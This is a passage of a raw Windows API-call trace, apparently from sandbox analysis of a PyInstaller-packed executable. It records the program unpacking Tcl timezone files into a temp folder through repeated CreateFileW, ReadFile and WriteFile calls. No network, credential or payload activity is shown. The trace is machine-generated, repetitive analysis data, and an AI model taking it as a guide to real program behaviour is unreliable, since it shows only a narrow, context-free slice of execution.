lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.983] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.983] CloseHandle (hObject=0x10c) returned 1 [0041.983] GetLastError () returned 0x0 [0041.983] SetLastError (dwErrCode=0x0) [0041.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.983] GetFileType (hFile=0x10c) returned 0x1 [0041.984] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.984] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.984] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.984] CloseHandle (hObject=0x10c) returned 1 [0041.984] GetLastError () returned 0x0 [0041.984] SetLastError (dwErrCode=0x0) [0041.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.984] GetFileType (hFile=0x10c) returned 0x1 [0041.984] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.984] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.984] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.984] CloseHandle (hObject=0x10c) returned 1 [0041.985] GetLastError () returned 0x0 [0041.985] SetLastError (dwErrCode=0x0) [0041.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+6") returned 66 [0041.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+6"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.985] GetLastError () returned 0x2 [0041.985] SetLastError (dwErrCode=0x2) [0041.985] GetLastError () returned 0x2 [0041.985] SetLastError (dwErrCode=0x2) [0041.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+6", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+6", lpFilePart=0x0) returned 0x41 [0041.985] GetLastError () returned 0x2 [0041.985] SetLastError (dwErrCode=0x2) [0041.985] GetLastError () returned 0x2 [0041.985] SetLastError (dwErrCode=0x2) [0041.985] GetLastError () returned 0x2 [0041.985] SetLastError (dwErrCode=0x2) [0041.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+6") returned 66 [0041.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+6"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.985] GetFileType (hFile=0x10c) returned 0x1 [0041.985] htonl (hostlong=0x72000000) returned 0x72 [0041.985] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.985] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x72, lpOverlapped=0x0) returned 1 [0041.986] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.986] CloseHandle (hObject=0x10c) returned 1 [0041.986] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.987] htonl (hostlong=0x30000000) returned 0x30 [0041.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.987] GetFileType (hFile=0x10c) returned 0x1 [0041.987] htonl (hostlong=0x5fb95b00) returned 0x5bb95f [0041.987] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60695f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.987] htonl (hostlong=0x74000000) returned 0x74 [0041.987] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0041.987] htonl (hostlong=0x74000000) returned 0x74 [0041.987] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.987] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.987] htonl (hostlong=0x72000000) returned 0x72 [0041.987] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x550600 [0041.987] htonl (hostlong=0x74000000) returned 0x74 [0041.987] htonl (hostlong=0x72000000) returned 0x72 [0041.987] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.987] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.987] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.987] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.987] CloseHandle (hObject=0x10c) returned 1 [0041.987] GetLastError () returned 0x0 [0041.987] SetLastError (dwErrCode=0x0) [0041.987] GetLastError () returned 0x0 [0041.987] SetLastError (dwErrCode=0x0) [0041.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.988] GetFileType (hFile=0x10c) returned 0x1 [0041.988] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.988] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.988] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.988] CloseHandle (hObject=0x10c) returned 1 [0041.988] GetLastError () returned 0x0 [0041.988] SetLastError (dwErrCode=0x0) [0041.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.988] GetFileType (hFile=0x10c) returned 0x1 [0041.988] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.988] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.988] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.989] CloseHandle (hObject=0x10c) returned 1 [0041.989] GetLastError () returned 0x0 [0041.989] SetLastError (dwErrCode=0x0) [0041.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.989] GetFileType (hFile=0x10c) returned 0x1 [0041.989] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.989] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.989] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.989] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.989] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.989] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.989] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.989] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.989] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.989] CloseHandle (hObject=0x10c) returned 1 [0041.989] GetLastError () returned 0x0 [0041.989] SetLastError (dwErrCode=0x0) [0041.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+7") returned 66 [0041.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+7"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.989] GetLastError () returned 0x2 [0041.989] SetLastError (dwErrCode=0x2) [0041.989] GetLastError () returned 0x2 [0041.989] SetLastError (dwErrCode=0x2) [0041.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+7", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+7", lpFilePart=0x0) returned 0x41 [0041.989] GetLastError () returned 0x2 [0041.990] SetLastError (dwErrCode=0x2) [0041.990] GetLastError () returned 0x2 [0041.990] SetLastError (dwErrCode=0x2) [0041.990] GetLastError () returned 0x2 [0041.990] SetLastError (dwErrCode=0x2) [0041.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+7") returned 66 [0041.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+7"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.990] GetFileType (hFile=0x10c) returned 0x1 [0041.990] htonl (hostlong=0x72000000) returned 0x72 [0041.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.990] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x72, lpOverlapped=0x0) returned 1 [0041.991] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.991] CloseHandle (hObject=0x10c) returned 1 [0041.994] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.994] htonl (hostlong=0x30000000) returned 0x30 [0041.994] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.994] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.994] GetFileType (hFile=0x10c) returned 0x1 [0041.994] htonl (hostlong=0xd3b95b00) returned 0x5bb9d3 [0041.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6069d3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.994] htonl (hostlong=0x74000000) returned 0x74 [0041.995] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0041.995] htonl (hostlong=0x74000000) returned 0x74 [0041.995] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.995] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.995] htonl (hostlong=0x72000000) returned 0x72 [0041.995] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x550600 [0041.995] htonl (hostlong=0x74000000) returned 0x74 [0041.995] htonl (hostlong=0x72000000) returned 0x72 [0041.995] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.995] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.995] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.995] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.995] CloseHandle (hObject=0x10c) returned 1 [0041.995] GetLastError () returned 0x0 [0041.995] SetLastError (dwErrCode=0x0) [0041.995] GetLastError () returned 0x0 [0041.995] SetLastError (dwErrCode=0x0) [0041.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.995] GetFileType (hFile=0x10c) returned 0x1 [0041.995] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.995] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.996] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.996] CloseHandle (hObject=0x10c) returned 1 [0041.996] GetLastError () returned 0x0 [0041.996] SetLastError (dwErrCode=0x0) [0041.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, 